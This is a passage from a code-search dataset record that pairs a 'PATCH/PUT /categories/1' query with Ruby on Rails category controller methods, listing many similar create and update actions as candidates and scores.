created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to admin_dashboard_categories_path, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created!!' }\n format.json { render json: @category, status: :created, location: @category }\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categ = Categ.new(categ_params)\n\n respond_to do |format|\n if @categ.save\n format.html { redirect_to @categ, notice: 'Categ was successfully created.' }\n format.json { render :show, status: :created, location: @categ }\n else\n format.html { render :new }\n format.json { render json: @categ.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post_category = Post::Category.new(params[:post_category])\n\n respond_to do |format|\n if @post_category.save\n format.html { redirect_to @post_category, notice: 'Category was successfully created.' }\n format.json { render json: @post_category, status: :created, location: @post_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categoria = Categoria.new(params[:categoria])\n\n respond_to do |format|\n if @categoria.save\n format.html { redirect_to action: 'index', notice: 'Categoria was successfully created.' }\n format.json { render json: @categoria, status: :created, location: @categoria }\n else\n format.html { render action: \"new\" }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to Category.find(@category.category_id), notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = CategoryService.create\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Категория добавлена.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n # @category = Category.new(params[:category])\n @category = current_user.categories.build(params[:category])\n\n respond_to do |format|\n if @category.save\n # format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.html { redirect_to categories_path, notice: 'Pomyślnie utworzono kategorię.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n # format.html { render action: \"new\" }\n format.html { redirect_to categories_path, :flash => { :error => 'Nie udało się utworzyć kategorii' } }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_category\n @category = TestCategory.new(params[:category])\n @category.save\n @categories = TestCategory.find(:all)\n redraw 'categories'\n end", "def index\n categories = Category.all\n render json:categories\n end", "def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end", "def create\n @categories = Category.all\n\n @category = Category.create(category_params)\n flash[:notice]=\"Catégorie créer avec succès!!!\"\n end", "def create\n @categories = Category.where(validity: true)\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: t(:category_created) }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categor = Categor.new(categor_params)\n\n respond_to do |format|\n if @categor.save\n format.html { redirect_to @categor, notice: 'Categor was successfully created.' }\n format.json { render :show, status: :created, location: @categor }\n else\n format.html { render :new }\n format.json { render json: @categor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @incidentcategory = Incidentcategory.new(incidentcategory_params)\n\n if @incidentcategory.save\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end", "def create\r\n @category = Category.new(categories_params)\r\n\r\n respond_to do |format|\r\n if @category.save\r\n format.html { redirect_to articles_path, notice: 'Profile was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @category.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n\t\t@cat = Cat.new(cat_params)\n\n\t\tif @cat.save\n\t\t\t# cat_url(@cat) == /cat/{@cat.id}\n\t\t\tredirect_to cat_url(@cat)\n\t\telse\n\t\t\trender :new\n\t\t\t# render json: @cat.errors.full_messages, status: :unprocessable_entity\n\t\tend \n\tend", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categorization = Categorization.new(params[:categorization])\n @categories = category_list\n respond_to do |format|\n if @categorization.save\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully created.') }\n format.xml { render :xml => @categorization, :status => :created, :location => @categorization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Категория была успешно создана'}\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to root_path, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n flash.alert = @category.errors.full_messages\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.create(params[:category])\n \n if @category.save\n redirect_to categories_path\n else\n render 'new'\n end\n \n end", "def create\n @category = PostCategory.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to cm_post_categories_url, notice: 'PostCategory was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end", "def create\n admins_only do\n @category = Category.new(category_params)\n @category.name = params[:category][:name].to_s.camelcase\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to category_index_path, notice: 'Category was successfully created.' }\n format.json { render action: 'index', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n if params[:categoria_producto]\n p = Producto.find(params[:producto_id])\n c = Categoria.find(params[:categoria_id])\n\n if p.categorias << c\n render json: c, status: :created\n else\n render json: {:errors => {categoria: [\"No se ha podido agregar categoria\"]}}, status: :unprocessable_entity\n end\n\n else\n @categoria = Categoria.new(parametros_categoria)\n\n if @categoria.save\n render json: @categoria, status: :created\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end\n end", "def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend", "def create\n @cat = Cat.new(params[:cat])\n\n respond_to do |format|\n if @cat.save\n format.html { redirect_to @cat, notice: 'Cat was successfully created.' }\n format.json { render json: @cat, status: :created, location: @cat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n respond_to do |format|\n if @category.save\n format.html { redirect_to adminpanel_categories_path, notice: \"Категория #{@category.name} успешно создана\" }\n format.json { render :show, status: :created, location: adminpanel_categories_path }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to edit_dashboard_category_path(@category), notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to admin_category_path(@category), notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n\n user = User.find(@user_id)\n post = user.posts.build(params_post)\n \n category = Category.find_by_id(params[:category])\n return render json: { error: \"Category not found\"}, status: 404 if category.nil?\n \n post.category = category\n \n \n if post.save\n render json: post, status: :created\n else \n render json: post.errors, status: :unprocessable_entity\n end\n end", "def create\n @category = Category.new(category_params)\n @category.user_id = current_user.id\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: t('create.notice', name: t('activerecord.models.category')) }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @category = Category.new(params[:category])\n @user.categories << @category\n #TODO: error handling\n #TODO: AJAX this\n if @user.save\n redirect_to user_path(@user)\n else\n render \"new\"\n end\n end", "def create\n @post_category = current_user.post_categories.build(params[:post_category])\n\n respond_to do |format|\n if @post_category.save\n format.html { redirect_to [:client,:post_categories], notice: 'Post category was successfully created.' }\n format.json { render json: @post_category, status: :created, location: @post_category }\n else\n format.html { render action: \"index\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @recipe_category = RecipeCategory.new(params[:recipe_category])\n\n respond_to do |format|\n if @recipe_category.save\n format.html { redirect_to @recipe_category, notice: 'Recipe category was successfully created.' }\n format.json { render json: @recipe_category, status: :created, location: @recipe_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipe_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_url, notice: 'Category was successfully created.' }\n end\n end\n end", "def create\n @category_form_url = forum_categories_path\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @categorias_tipo = CatTipo.new(params[:cat_tipo])\n\n\t\trespond_to do |format|\n\t\t\tif @categorias_tipo.save\n \t\t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n\t\t\t\t\n\t\t\t\n\n format.html { redirect_to cat_tipos_path, notice: 'OK' }\n format.json { render json: @categorias_tipo, status: :created, location: @categorias_tipo }\n\t\t\telse\n format.html { render action: \"new\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n \tend\t\n\t\tend\n\tend", "def create\n @category = Category.new(params[:category])\n @category.category_group_id ||= params[:category_group_id]\n\n respond_to do |format|\n if @category.save\n save_curated_items(@category)\n format.html { redirect_to(categories_path, notice: 'Category was successfully created.') }\n format.json { render json: @category, status: :created, location: @category }\n else\n set_flash_messages_from_errors(@category)\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @taxonomy_category = TaxonomyCategory.new(params[:taxonomy_category])\n\n respond_to do |format|\n if @taxonomy_category.save\n format.html { redirect_to @taxonomy_category, notice: 'Taxonomy category was successfully created.' }\n format.json { render json: @taxonomy_category, status: :created, location: @taxonomy_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taxonomy_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(params[:category])\n\n if @category.save\n flash[:notice] = 'Categoria criada com sucesso.'\n else\n flash[:notice] = 'Erro ao salvar a categoria.'\n end\n\n # respond_to do |format|\n # if @category.save\n # format.html { redirect_to categories_path}\n # format.json { render json: @category, status: :created, location: @category }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @category = Category.new(category_params)\n\n\n begin\n Category.transaction do # un ActiveRecord\n #@full_category.each do |f|\n #Category.create(f)\n #f.save!\n #end\n @category.save!\n end\n #Código de éxito\n rescue => e\n raise ActiveRecord::Rollback #Lanzamos el rollback de nuevo a saco\n #Seguimos con las acciones que queramos, como notificar, etc.\n end\n\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_category_path(@category), notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n category = Documents::Category.create(category_params)\n if category.save\n redirect_to categories_path\n else\n redirect_to categories_path, alert: I18n.t('admin.categories.validation_error')\n end\n end", "def categories\n # @categories = Category.get_categories(@user.id)\n #@categories =Category.all.select(:id).select(:name).select(:description).select(:logo_url)\n @categories =Category.all\n user_cat= @user.categories.collect(&:id)\n categories = []\n @categories.each do |cat|\n cat_attr = cat.attributes\n user_cat.include?(cat.id) ? cat_attr.merge!('user_category' => true) : cat_attr.merge!('user_category' => false)\n categories << cat_attr\n end\n @categories = categories\n\n respond_to do |format|\n if @categories.blank?\n format.json {render json:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.xml {render xml:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.html {render json: {:success => false, :status_code => 404, :message => \"No category found\"}}\n else\n format.html {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.json {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.xml {render xml: {:success => true, :status_code => 200, :categories => @categories}}\n end\n end\n end", "def create_category_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.create_category ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'category'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#create_category\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @category = Category.new(params[:category])\n @title = \"Neue Kategorie erstellen\"\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = CategoryService.create(category_params)\n\n respond_to do |format|\n unless @category.errors.any?\n format.html { redirect_to backoffice_categories_path,\n notice: notification_alert('success', 'Created!', \"Category [#{@category.description}] was successfully created.\") \n }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @mk_categoria = MkCategoria.new(mk_categoria_params)\n\n respond_to do |format|\n if @mk_categoria.save\n format.html { redirect_to @mk_categoria, notice: 'Mk categoria was successfully created.' }\n format.json { render :show, status: :created, location: @mk_categoria }\n else\n format.html { render :new }\n format.json { render json: @mk_categoria.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to [:admin, @category], notice: t('messages.created', model:Category.model_name.human) }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_category = Admin::Category.new(admin_category_params)\n\n respond_to do |format|\n if @admin_category.save\n format.html { redirect_to admin_categories_url }\n format.json { render :show, status: :created, location: @admin_category }\n else\n format.html { render :new }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def categories=(value)\n @categories = value\n end", "def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end" ]
[ "0.7738549", "0.74339235", "0.72349083", "0.71634054", "0.7124031", "0.70645165", "0.705568", "0.695861", "0.6956783", "0.6903891", "0.6838659", "0.6821712", "0.68190134", "0.6807838", "0.678525", "0.66138625", "0.6566919", "0.65661913", "0.65567696", "0.6523676", "0.65186286", "0.65124106", "0.6507293", "0.64973867", "0.64973867", "0.64973867", "0.64973867", "0.64973867", "0.6491015", "0.64895564", "0.6476546", "0.64730144", "0.6470093", "0.6455681", "0.6438828", "0.6436862", "0.64220095", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.6418686", "0.63991785", "0.63877624", "0.6384297", "0.6379078", "0.63786995", "0.6376995", "0.63656723", "0.63593614", "0.6358317", "0.6356693", "0.6355196", "0.6354375", "0.6352758", "0.6345056", "0.63400453", "0.63052505", "0.63035464", "0.62976784", "0.6287918", "0.6284682", "0.6269106", "0.62629235", "0.626244", "0.6258697", "0.6254516", "0.62478405", "0.62459856", "0.62374765", "0.62301993", "0.62244", "0.6220316", "0.6219008", "0.6210804", "0.6199586", "0.61989397", "0.6196965", "0.6195727", "0.61901325", "0.6185757", "0.61840874", "0.6181882", "0.61759615", "0.61596483", "0.6154083", "0.6150745", "0.6144707", "0.6140831", "0.6128935", "0.6128884", "0.61209923", "0.6117174", "0.6109629", "0.610358" ]
0.0
-1
PATCH/PUT /categories/1 PATCH/PUT /categories/1.json
def update respond_to do |format| if @category.update(category_params) format.html { redirect_to admin_good_categories_url, notice: 'GoodCategory was successfully updated.' } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @category.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def UpdateCategory params = {}\n \n APICall(path: 'categories.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n json_update(category,category_params, Category)\n end", "def update_categories(categories, options = {} )\n options.merge!(:docid => self.docid, :categories => categories)\n resp = @conn.put do |req|\n req.url \"categories\"\n req.body = options.to_json\n end\n\n resp.status \n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @category.update(category_params)\n render json: @category, status: :ok\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def update\n @headline = t(:update_category)\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: t(:updated_category_success) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @category.update(params[:category])\n head :no_content\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.json { render :show, status: :ok, location: @category }\n else\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to api_v1_category_path(@category), notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n update! {admin_categories_path}\n end", "def update\n unless @category.name == \"ROOT\"\n if @category.update(category_params)\n render 'show', :status => 200, :layout => false, notice: 'Category was successfully created.'\n else\n render :json => {:message => \"Error in updating category\"}, notice: @category.errors, :layout => false, :status => 400\n end\n else\n render :json => {:message => \"Root can't be edited.\"}, :layout => false, :status => 400\n end\n end", "def update\n if @categoria.update(categoria_params)\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity \n end\n end", "def update\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with(@category, location: categories_url)\n end", "def update\n @recipe = Recipe.find(params[:id])\n\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n @categories=RecipeCategory.all\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category.update_attributes(params[:category])\n respond_with(@category)\n end", "def editCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.find(params[:id])\n status = c.update(name: params[:name])\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end", "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end", "def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end", "def update\n #locates the category to be updated\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: t(:category_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: t('update.notice', name: t('activerecord.models.category')) }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to :back, notice: 'category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html {\n redirect_to @category, notice: 'Category was successfully updated.'\n }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json {\n render json: @category.errors, status: :unprocessable_entity\n }\n end\n end\n end", "def update\n # recipe_params[:ingredient_lists_attributes].each do |list|\n # list.each do |item|\n # item[:ingredient_attributes] = Ingredient.where(name: item[:ingredient_attributes].name).first_or_create\n # end\n # end\n \n # category_ids = params[:recipe][:categories_attributes].map { |k,v| v[:id] }\n # #pry.debugger\n \n # recipe_params.merge({ category_ids: category_ids })\n \n\n respond_to do |format|\n \n if @recipe.update(recipe_params)\n format.html { redirect_to recipes_url, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @category = current_mall.categories.find(params[:id])\n\n 